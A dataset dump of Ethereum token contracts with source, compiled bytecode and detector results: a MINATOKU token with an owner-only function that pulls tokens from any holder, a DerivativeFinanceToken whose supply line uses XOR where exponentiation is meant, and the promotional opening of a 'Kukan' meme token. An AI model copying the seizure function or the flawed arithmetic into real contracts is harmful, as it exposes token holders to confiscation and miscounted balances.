uint256 totalAmount = SafeMath.mul(amount, addresses.length);
require(balances[msg.sender] >= totalAmount);
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount);
Transfer(msg.sender, addresses[i], amount);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint i = 0; i < addresses.length; i++) {
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = SafeMath.mul(amounts[i], 1e8);
require(balances[addresses[i]] >= amounts[i]);
balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]);
totalAmount = SafeMath.add(totalAmount, amounts[i]);
Transfer(addresses[i], msg.sender, amounts[i]);
}
balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf(owner) >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
balances[owner] = SafeMath.sub(balances[owner], distributeAmount);
balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev token fallback function
*/
function() payable public {
autoDistribute();
}
}
/*
* MINATOKU TOKEN
*/
|
0x6060604052600436106101245763ffffffff60e060020a60003504166305d2035b811461012e57806306fdde031461015557806318160ddd146101df578063313ce56714610204578063378dc3dc1461022d57806340c10f19146102405780634f25eced1461026257806364ddc6051461027557806370a08231146103045780637d64bcb4146103235780638da5cb5b14610336578063945946251461036557806395d89b41146103b65780639dc29fac146103c9578063a8f11eb914610124578063a9059cbb146103eb578063b414d4b61461040d578063be45fd621461042c578063c341b9f614610491578063cbbe974b146104e4578063d39b1d4814610503578063f0dc417114610519578063f2fde38b146105a8578063f6368f8a146105c7575b61012c61066e565b005b341561013957600080fd5b6101416107d0565b604051901515815260200160405180910390f35b341561016057600080fd5b6101686107d9565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a457808201518382015260200161018c565b50505050905090810190601f1680156101d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ea57600080fd5b6101f2610881565b60405190815260200160405180910390f35b341561020f57600080fd5b610217610887565b60405160ff909116815260200160405180910390f35b341561023857600080fd5b6101f2610890565b341561024b57600080fd5b610141600160a060020a0360043516602435610896565b341561026d57600080fd5b6101f261098b565b341561028057600080fd5b61012c60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061099195505050505050565b341561030f57600080fd5b6101f2600160a060020a0360043516610aeb565b341561032e57600080fd5b610141610b06565b341561034157600080fd5b610349610b73565b604051600160a060020a03909116815260200160405180910390f35b341561037057600080fd5b61014160046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610b8292505050565b34156103c157600080fd5b610168610dfd565b34156103d457600080fd5b61012c600160a060020a0360043516602435610e70565b34156103f657600080fd5b610141600160a060020a0360043516602435610f3b565b341561041857600080fd5b610141600160a060020a0360043516611016565b341561043757600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061102b95505050505050565b341561049c57600080fd5b61012c60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506110fd9050565b34156104ef57600080fd5b6101f2600160a060020a03600435166111ff565b341561050e57600080fd5b61012c600435611211565b341561052457600080fd5b61014160046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061123195505050505050565b34156105b357600080fd5b61012c600160a060020a0360043516611518565b34156105d257600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506115b395505050505050565b6000600754118015610696575060075460015461069390600160a060020a0316610aeb565b10155b80156106bb5750600160a060020a0333166000908152600a602052604090205460ff16155b80156106de5750600160a060020a0333166000908152600b602052604090205442115b15156106e957600080fd5b600034111561072657600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561072657600080fd5b600154600160a060020a031660009081526009602052604090205460075461074e91906118d9565b600154600160a060020a0390811660009081526009602052604080822093909355339091168152205460075461078491906118eb565b600160a060020a0333811660008181526009602052604090819020939093556001546007549193921691600080516020611cb983398151915291905190815260200160405180910390a3565b60085460ff1681565b6107e1611ca6565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b820191906000526020600020905b81548152906001019060200180831161085a57829003601f168201915b5050505050905090565b60065490565b60045460ff1690565b60055481565b60015460009033600160a060020a039081169116146108b457600080fd5b60085460ff16156108c457600080fd5b600082116108d157600080fd5b6108dd600654836118eb565b600655600160a060020a03831660009081526009602052604090205461090390836118eb565b600160a060020a0384166000818152600960205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020611cb98339815191528460405190815260200160405180910390a350600192915050565b60075481565b60015460009033600160a060020a039081169116146109af57600080fd5b600083511180156109c1575081518351145b15156109cc57600080fd5b5060005b8251811015610ae6578181815181106109e557fe5b90602001906020020151600b60008584815181106109ff57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610a2d57600080fd5b818181518110610a3957fe5b90602001906020020151600b6000858481518110610a5357fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610a8357fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610ac357fe5b9060200190602002015160405190815260200160405180910390a26001016109d0565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610b2457600080fd5b60085460ff1615610b3457600080fd5b6008805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610b97575060008551115b8015610bbc5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610bdf5750600160a060020a0333166000908152600b602052604090205442115b1515610bea57600080fd5b610bf8846305f5e1006118fa565b9350610c058486516118fa565b600160a060020a03331660009081526009602052604090205490925082901015610c2e57600080fd5b5060005b8451811015610db657848181518110610c4757fe5b90602001906020020151600160a060020a031615801590610c9c5750600a6000868381518110610c7357fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015610ce15750600b6000868381518110610cb357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610cec57600080fd5b610d3060096000878481518110610cff57fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002054856118eb565b60096000878481518110610d4057fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055848181518110610d7057fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a3600101610c32565b600160a060020a033316600090815260096020526040902054610dd990836118d9565b33600160a060020a0316600090815260096020526040902055506001949350505050565b610e05611ca6565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b60015433600160a060020a03908116911614610e8b57600080fd5b600081118015610ea3575080610ea083610aeb565b10155b1515610eae57600080fd5b600160a060020a038216600090815260096020526040902054610ed190826118d9565b600160a060020a038316600090815260096020526040902055600654610ef790826118d9565b600655600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b6000610f45611ca6565b600083118015610f6e5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610f935750600160a060020a0384166000908152600a602052604090205460ff16155b8015610fb65750600160a060020a0333166000908152600b602052604090205442115b8015610fd95750600160a060020a0384166000908152600b602052604090205442115b1515610fe457600080fd5b610fed84611925565b1561100457610ffd84848361192d565b915061100f565b610ffd848483611b53565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156110555750600160a060020a0333166000908152600a602052604090205460ff16155b801561107a5750600160a060020a0384166000908152600a602052604090205460ff16155b801561109d5750600160a060020a0333166000908152600b602052604090205442115b80156110c05750600160a060020a0384166000908152600b602052604090205442115b15156110cb57600080fd5b6110d484611925565b156110eb576110e484848461192d565b90506110f6565b6110e4848484611b53565b9392505050565b60015460009033600160a060020a0390811691161461111b57600080fd5b600083511161112957600080fd5b5060005b8251811015610ae65782818151811061114257fe5b90602001906020020151600160a060020a0316151561116057600080fd5b81600a600085848151811061117157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790558281815181106111af57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a260010161112d565b600b6020526000908152604090205481565b60015433600160a060020a0390811691161461122c57600080fd5b600755565b6001546000908190819033600160a060020a0390811691161461125357600080fd5b60008551118015611265575083518551145b151561127057600080fd5b5060009050805b84518110156114f557600084828151811061128e57fe5b906020019060200201511180156112c257508481815181106112ac57fe5b90602001906020020151600160a060020a031615155b80156113025750600a60008683815181106112d957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156113475750600b600086838151811061131957fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561135257600080fd5b61137584828151811061136157fe5b906020019060200201516305f5e1006118fa565b84828151811061138157fe5b6020908102909101015283818151811061139757fe5b90602001906020020151600960008784815181106113b157fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410156113e057600080fd5b611439600960008784815181106113f357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205485838151811061142a57fe5b906020019060200201516118d9565b6009600087848151811061144957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205561148c8285838151811061147d57fe5b906020019060200201516118eb565b915033600160a060020a03168582815181106114a457fe5b90602001906020020151600160a060020a0316600080516020611cb98339815191528684815181106114d257fe5b9060200190602002015160405190815260200160405180910390a3600101611277565b600160a060020a033316600090815260096020526040902054610dd990836118eb565b60015433600160a060020a0390811691161461153357600080fd5b600160a060020a038116151561154857600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080841180156115dd5750600160a060020a0333166000908152600a602052604090205460ff16155b80156116025750600160a060020a0385166000908152600a602052604090205460ff16155b80156116255750600160a060020a0333166000908152600b602052604090205442115b80156116485750600160a060020a0385166000908152600b602052604090205442115b151561165357600080fd5b61165c85611925565b156118c3578361166b33610aeb565b101561167657600080fd5b61168861168233610aeb565b856118d9565b600160a060020a0333166000908152600960205260409020556116b36116ad86610aeb565b856118eb565b600160a060020a0386166000818152600960205260408082209390935590918490518082805190602001908083835b602083106117015780518252601f1990920191602091820191016116e2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b8381101561179257808201518382015260200161177a565b50505050905090810190601f1680156117bf5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f1935050505015156117e357fe5b826040518082805190602001908083835b602083106118135780518252601f1990920191602091820191016117f4565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a35060016118d1565b6118ce858585611b53565b90505b949350505050565b6000828211156118e557fe5b50900390565b6000828201838110156110f657fe5b60008083151561190d576000915061100f565b5082820282848281151561191d57fe5b04146110f657fe5b6000903b1190565b6000808361193a33610aeb565b101561194557600080fd5b61195161168233610aeb565b600160a060020a0333166000908152600960205260409020556119766116ad86610aeb565b600160a060020a03861660008181526009602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611a0f5780820151838201526020016119f7565b50505050905090810190601f168015611a3c5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611a5c57600080fd5b6102c65a03f11515611a6d57600080fd5b505050826040518082805190602001908083835b60208310611aa05780518252601f199092019160209182019101611a81565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a3506001949350505050565b600082611b5f33610aeb565b1015611b6a57600080fd5b611b7c611b7633610aeb565b846118d9565b600160a060020a033316600090815260096020526040902055611ba7611ba185610aeb565b846118eb565b600160a060020a03851660009081526009602052604090819020919091558290518082805190602001908083835b60208310611bf45780518252601f199092019160209182019101611bd5565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a0316600080516020611cb98339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058206e9a1055614602454a8bb4e250b3aabce5aa7cf1ea9cc0c5cab93cb769d5d0750029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,373 |
0x579f925b259c7ad94a2fb5d334ccf41b9a6abb66
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DerivativeFinanceTokenV0 is Ownable {
using SafeMath for uint256;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
bytes32 public symbol = "DFT";
uint256 public decimals = 8;
bytes32 public name = "Derivative Finance Token";
address public foodbank;
constructor(address chef, address _foodbank) Ownable() public {
// 1000000 DFT
totalSupply = 1000000*10^8;
balanceOf[chef] = 1000000*10^8;
foodbank = _foodbank;
}
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Burn(uint256 amount);
function approve(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function approve(address spender, uint256 amount) public returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
return transferFrom(msg.sender, to, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
if (sender != msg.sender && allowance[sender][msg.sender] != uint256(-1)) {
require(allowance[sender][msg.sender] >= amount, "token-insufficient-approval");
allowance[sender][msg.sender] = allowance[sender][msg.sender].sub(amount);
}
require(balanceOf[sender] >= amount, "token-insufficient-balance");
balanceOf[sender] = balanceOf[sender].sub(amount);
uint256 one = amount / 100;
uint256 half = one / 2;
uint256 fAmount = amount.sub(one);
balanceOf[recipient] = balanceOf[recipient].add(fAmount);
balanceOf[foodbank] = balanceOf[foodbank].add(half);
burn(half);
emit Transfer(sender, recipient, amount);
return true;
}
function burn(uint256 amount) internal {
totalSupply = totalSupply.sub(amount);
emit Burn(amount);
}
function setFoodbank(address _foodbank) public onlyOwner {
foodbank = _foodbank;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063be991ba711610066578063be991ba714610248578063daea85c514610250578063dd62ed3e14610276578063f2fde38b146102a4576100f5565b8063715018a6146101e85780638da5cb5b146101f057806395d89b4114610214578063a9059cbb1461021c576100f5565b806323b872dd116100d357806323b872dd1461015c578063313ce567146101925780634aff98a01461019a57806370a08231146101c2576100f5565b806306fdde03146100fa578063095ea7b31461011457806318160ddd14610154575b600080fd5b6101026102ca565b60408051918252519081900360200190f35b6101406004803603604081101561012a57600080fd5b506001600160a01b0381351690602001356102d0565b604080519115158252519081900360200190f35b610102610336565b6101406004803603606081101561017257600080fd5b506001600160a01b0381358116916020810135909116906040013561033c565b6101026105e0565b6101c0600480360360208110156101b057600080fd5b50356001600160a01b03166105e6565b005b610102600480360360208110156101d857600080fd5b50356001600160a01b0316610672565b6101c0610684565b6101f8610738565b604080516001600160a01b039092168252519081900360200190f35b610102610747565b6101406004803603604081101561023257600080fd5b506001600160a01b03813516906020013561074d565b6101f8610761565b6101406004803603602081101561026657600080fd5b50356001600160a01b0316610770565b6101026004803603604081101561028c57600080fd5b506001600160a01b0381358116916020013516610784565b6101c0600480360360208110156102ba57600080fd5b50356001600160a01b03166107a1565b60065481565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015481565b60006001600160a01b038416331480159061037c57506001600160a01b038416600090815260036020908152604080832033845290915290205460001914155b1561044c576001600160a01b03841660009081526003602090815260408083203384529091529020548211156103f9576040805162461bcd60e51b815260206004820152601b60248201527f746f6b656e2d696e73756666696369656e742d617070726f76616c0000000000604482015290519081900360640190fd5b6001600160a01b038416600090815260036020908152604080832033845290915290205461042790836108ab565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6001600160a01b0384166000908152600260205260409020548211156104b9576040805162461bcd60e51b815260206004820152601a60248201527f746f6b656e2d696e73756666696369656e742d62616c616e6365000000000000604482015290519081900360640190fd5b6001600160a01b0384166000908152600260205260409020546104dc90836108ab565b6001600160a01b0385166000908152600260208190526040822092909255606484049182049061050c85846108ab565b6001600160a01b03871660009081526002602052604090205490915061053290826108ed565b6001600160a01b03808816600090815260026020526040808220939093556007549091168152205461056490836108ed565b6007546001600160a01b031660009081526002602052604090205561058882610947565b856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35060019695505050505050565b60055481565b6105ee61098d565b6000546001600160a01b03908116911614610650576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60026020526000908152604090205481565b61068c61098d565b6000546001600160a01b039081169116146106ee576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60045481565b600061075a33848461033c565b9392505050565b6007546001600160a01b031681565b600061077e826000196102d0565b92915050565b600360209081526000928352604080842090915290825290205481565b6107a961098d565b6000546001600160a01b0390811691161461080b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166108505760405162461bcd60e51b8152600401808060200182810382526026815260200180610a296026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600061075a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610991565b60008282018381101561075a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60015461095490826108ab565b6001556040805182815290517fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb9181900360200190a150565b3390565b60008184841115610a205760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156109e55781810151838201526020016109cd565b50505050905090810190601f168015610a125780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220ed033535d27ef6613a24e7b3459ff0c55cad2fcf5fa27ffa7d378f8ae892330f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,374 |
0x8b4c385d889b492e0fd783512342deb760d97a22
|
/*
The Dark Kitsune: Kukan
(stealth launch + no dev tokens + legit verified contract + renounce + lp lock)
https://t.me/KukanCrypto
http://kukancrypto.com (will be out before launch of token)
`ys+:. `-/oyh-
oMMMMNdo- :smNMMMMy
hMMMMMMMNh- ``````` -hNMMMMMMMm
dMMMMMMMMMN/shdmmmmmdhs+NMMMMMMMMMm
+MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMo
`hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMh`
`sNMMMMMMMMMMMMMMMMMMMMMMMMMMMmo` ./.
.+MMMMMMMMMMMMMMMMMMMMMMMMM+. :yNd
.MMMMMMMMMMMMMMMMMMMMMMMMM/ `yMMMh `
+MMMMMMMMMMMMMMMMMMMMMMMMMs .dMMMMN` ./y+
oNMMMMMMMMMMMMMMMMMMMMMMMMy dMMMMMMs .sNMM`
-NMNNMMMMMMMMMMMMMMMMMMMMMMM/+MMMMMMMM:+NMMMM
sMMMMNNNMMMMMMMMMMMMMMMMMMMMydMMMMMMMMNMMMMMM:
.odNMMMMMMMMMMMMMMMMMMMMMNh+.MMMMMMMMMMMMMMMMh `.:/+o+.
./ymMMMMMMMMMMMMMMMms/` `MMMMMMMMMMMMMMMMM/ .+ymMMMMy.
-MMNMMMMMMMMMMMd MMMMMMMMMMMMMMMMMN. :hMMMMMMMo
+Mm``-/+/-oMMMMMs mMMMMMMMMMMMMMMMMMm:hMMMMMMMMh
dM: .MMMMMMMy. sMMMMMMMMMMMMMMMMMMMMMMMMMMMM-
`Mh sMMMMMMMMMs. :MMMMMMMMMMMMMMMMMMMMMMMMMMMd
:M: NMMMMMMMMMMNs-NMMMMMMMMMMMMMMMMMMMMMMMMMMo
om :MMMMMMMMMMMMMNNMMMMMMMMMMMMMMMMMMMMMMMMMM:
oy oMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM-
+s yMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM-
.h yMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM-
omms +MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM`
/MMM +MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMd
/MMM hMMdmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM/
/MMM `NMM:.dMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMo
/MMM :MMM` `mMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM+
/MMM sMMh :MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN/
/MMM mMM+-/:.sMMMMMMMMMMMMMMMMMMMMMMMMMMMMN/
`+dMMN.ohMMM--dMmdMMMMMMMMMMMMMMMMMMMMMMMMMNdo-
:yyyy::syhho `oyyyyyyyyhhhmNMMMMMMMMMNmds/-`
`-/ossso+/:.`
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
